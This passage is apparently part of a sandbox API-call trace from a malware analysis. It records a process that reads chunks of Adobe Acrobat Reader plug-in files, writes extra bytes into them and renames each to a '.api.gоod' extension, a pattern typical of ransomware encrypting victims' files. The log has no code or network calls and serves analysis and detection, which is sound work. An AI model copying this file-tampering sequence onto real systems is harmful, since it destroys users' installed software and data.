ftLastAccessTime.dwLowDateTime=0xe2df53af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x69463, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.api", cAlternateFileName="")) returned 1 [0089.892] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe067842e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1d1663, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.api", cAlternateFileName="")) returned 1 [0089.892] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfad8cb5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x4a463, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.api", cAlternateFileName="")) returned 1 [0089.892] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda6f4116, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x4d663, dwReserved0=0x0, dwReserved1=0x0, cFileName="StorageConnectors.api", cAlternateFileName="STORAG~1.API")) returned 1 [0089.892] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2e1b623, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x24063, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updater.api", cAlternateFileName="")) returned 1 [0089.892] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe069e67c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x49a63, dwReserved0=0x0, dwReserved1=0x0, cFileName="weblink.api", cAlternateFileName="")) returned 1 [0089.892] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe069e67c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x49a63, dwReserved0=0x0, dwReserved1=0x0, cFileName="weblink.api", cAlternateFileName="")) returned 0 [0089.892] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0089.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c150) returned 1 [0089.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c110) returned 1 [0089.893] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Accessibility.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Accessibility.api", lpFilePart=0x0) returned 0x50 [0089.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0089.893] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Accessibility.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\accessibility.api"), fInfoLevelId=0x0, lpFileInformation=0x33d0f90 | out: lpFileInformation=0x33d0f90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf9a79de, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x7be63)) returned 1 [0089.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0089.894] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Accessibility.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Accessibility.api", lpFilePart=0x0) returned 0x50 [0089.894] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0089.894] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Accessibility.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\accessibility.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0089.894] GetFileType (hFile=0x7b4) returned 0x1 [0089.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0089.895] GetFileType (hFile=0x7b4) returned 0x1 [0089.895] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x1000 [0089.895] ReadFile (in: hFile=0x7b4, lpBuffer=0x33d13e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bfe8, lpOverlapped=0x0 | out: lpBuffer=0x33d13e8*, lpNumberOfBytesRead=0x1f35bfe8*=0x1000, lpOverlapped=0x0) returned 1 [0090.428] CloseHandle (hObject=0x7b4) returned 1 [0090.428] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Accessibility.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Accessibility.api", lpFilePart=0x0) returned 0x50 [0090.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0090.429] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Accessibility.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\accessibility.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0090.429] GetFileType (hFile=0x7b4) returned 0x1 [0090.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0090.429] GetFileType (hFile=0x7b4) returned 0x1 [0090.429] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x7be63 [0090.429] WriteFile (in: hFile=0x7b4, lpBuffer=0x3492758*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35bf08, lpOverlapped=0x0 | out: lpBuffer=0x3492758*, lpNumberOfBytesWritten=0x1f35bf08*=0x10, lpOverlapped=0x0) returned 1 [0090.430] CloseHandle (hObject=0x7b4) returned 1 [0090.431] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Accessibility.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Accessibility.api", lpFilePart=0x0) returned 0x50 [0090.431] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0090.431] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Accessibility.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\accessibility.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0090.431] GetFileType (hFile=0x7b4) returned 0x1 [0090.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0090.431] GetFileType (hFile=0x7b4) returned 0x1 [0090.431] ReadFile (in: hFile=0x7b4, lpBuffer=0x3494a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf98, lpOverlapped=0x0 | out: lpBuffer=0x3494a38*, lpNumberOfBytesRead=0x1f35bf98*=0x1000, lpOverlapped=0x0) returned 1 [0090.521] CloseHandle (hObject=0x7b4) returned 1 [0090.522] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Accessibility.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Accessibility.api", lpFilePart=0x0) returned 0x50 [0090.522] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0090.522] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Accessibility.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\accessibility.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0090.522] GetFileType (hFile=0x7b4) returned 0x1 [0090.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0090.522] GetFileType (hFile=0x7b4) returned 0x1 [0090.522] WriteFile (in: hFile=0x7b4, lpBuffer=0x3309868*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35c048, lpOverlapped=0x0 | out: lpBuffer=0x3309868*, lpNumberOfBytesWritten=0x1f35c048*=0x1010, lpOverlapped=0x0) returned 1 [0090.523] CloseHandle (hObject=0x7b4) returned 1 [0090.523] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Accessibility.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Accessibility.api", lpFilePart=0x0) returned 0x50 [0090.523] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Accessibility.api.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Accessibility.api.gоod", lpFilePart=0x0) returned 0x55 [0090.523] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0090.523] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Accessibility.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\accessibility.api"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf9a79de, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x322c4e05, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7be73)) returned 1 [0090.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0090.523] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Accessibility.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\accessibility.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Accessibility.api.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\accessibility.api.gоod")) returned 1 [0090.524] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm.api", lpFilePart=0x0) returned 0x4b [0090.524] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0090.524] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\acroform.api"), fInfoLevelId=0x0, lpFileInformation=0x331fba0 | out: lpFileInformation=0x331fba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe024c29f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xcb0e63)) returned 1 [0090.524] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0090.524] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm.api", lpFilePart=0x0) returned 0x4b [0090.524] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0090.524] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\acroform.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0090.524] GetFileType (hFile=0x7b4) returned 0x1 [0090.524] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0090.525] GetFileType (hFile=0x7b4) returned 0x1 [0090.525] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x1000 [0090.525] ReadFile (in: hFile=0x7b4, lpBuffer=0x331ffc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bfe8, lpOverlapped=0x0 | out: lpBuffer=0x331ffc8*, lpNumberOfBytesRead=0x1f35bfe8*=0x1000, lpOverlapped=0x0) returned 1 [0090.526] CloseHandle (hObject=0x7b4) returned 1 [0090.527] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm.api", lpFilePart=0x0) returned 0x4b [0090.527] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0090.527] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\acroform.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0090.527] GetFileType (hFile=0x7b4) returned 0x1 [0090.527] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0090.527] GetFileType (hFile=0x7b4) returned 0x1 [0090.527] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0xcb0e63 [0090.527] WriteFile (in: hFile=0x7b4, lpBuffer=0x3321268*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35bf08, lpOverlapped=0x0 | out: lpBuffer=0x3321268*, lpNumberOfBytesWritten=0x1f35bf08*=0x10, lpOverlapped=0x0) returned 1 [0090.960] CloseHandle (hObject=0x7b4) returned 1 [0090.960] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm.api", lpFilePart=0x0) returned 0x4b [0090.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0090.960] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\acroform.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0090.961] GetFileType (hFile=0x7b4) returned 0x1 [0090.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0090.961] GetFileType (hFile=0x7b4) returned 0x1 [0090.961] ReadFile (in: hFile=0x7b4, lpBuffer=0x34761d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf98, lpOverlapped=0x0 | out: lpBuffer=0x34761d8*, lpNumberOfBytesRead=0x1f35bf98*=0x1000, lpOverlapped=0x0) returned 1 [0090.989] CloseHandle (hObject=0x7b4) returned 1 [0090.989] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm.api", lpFilePart=0x0) returned 0x4b [0090.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0090.989] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\acroform.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0090.989] GetFileType (hFile=0x7b4) returned 0x1 [0090.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0090.989] GetFileType (hFile=0x7b4) returned 0x1 [0090.990] WriteFile (in: hFile=0x7b4, lpBuffer=0x3474f28*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35c048, lpOverlapped=0x0 | out: lpBuffer=0x3474f28*, lpNumberOfBytesWritten=0x1f35c048*=0x1010, lpOverlapped=0x0) returned 1 [0090.990] CloseHandle (hObject=0x7b4) returned 1 [0090.990] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm.api", lpFilePart=0x0) returned 0x4b [0090.990] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm.api.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm.api.gоod", lpFilePart=0x0) returned 0x50 [0090.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0090.990] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\acroform.api"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe024c29f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x327174b0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xcb0e73)) returned 1 [0090.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0090.990] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\acroform.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm.api.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\acroform.api.gоod")) returned 1 [0090.991] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annots.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annots.api", lpFilePart=0x0) returned 0x49 [0090.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0090.991] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annots.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annots.api"), fInfoLevelId=0x0, lpFileInformation=0x34f25f8 | out: lpFileInformation=0x34f25f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfdd3bd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x71bc63)) returned 1 [0090.992] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0090.992] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annots.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annots.api", lpFilePart=0x0) returned 0x49 [0090.992] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0090.992] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annots.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annots.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0090.992] GetFileType (hFile=0x7b4) returned 0x1 [0090.992] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0090.992] GetFileType (hFile=0x7b4) returned 0x1 [0090.992] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x1000 [0090.992] ReadFile (in: hFile=0x7b4, lpBuffer=0x34f2a10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bfe8, lpOverlapped=0x0 | out: lpBuffer=0x34f2a10*, lpNumberOfBytesRead=0x1f35bfe8*=0x1000, lpOverlapped=0x0) returned 1 [0091.074] CloseHandle (hObject=0x7b4) returned 1 [0091.284] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annots.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annots.api", lpFilePart=0x0) returned 0x49 [0091.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0091.286] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annots.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annots.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0091.286] GetFileType (hFile=0x7b0) returned 0x1 [0091.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0091.288] GetFileType (hFile=0x7b0) returned 0x1 [0091.288] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x71bc63 [0091.288] WriteFile (in: hFile=0x7b0, lpBuffer=0x364b1a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35bf08, lpOverlapped=0x0 | out: lpBuffer=0x364b1a8*, lpNumberOfBytesWritten=0x1f35bf08*=0x10, lpOverlapped=0x0) returned 1 [0091.384] CloseHandle (hObject=0x7b0) returned 1 [0091.384] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annots.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annots.api", lpFilePart=0x0) returned 0x49 [0091.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0091.384] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 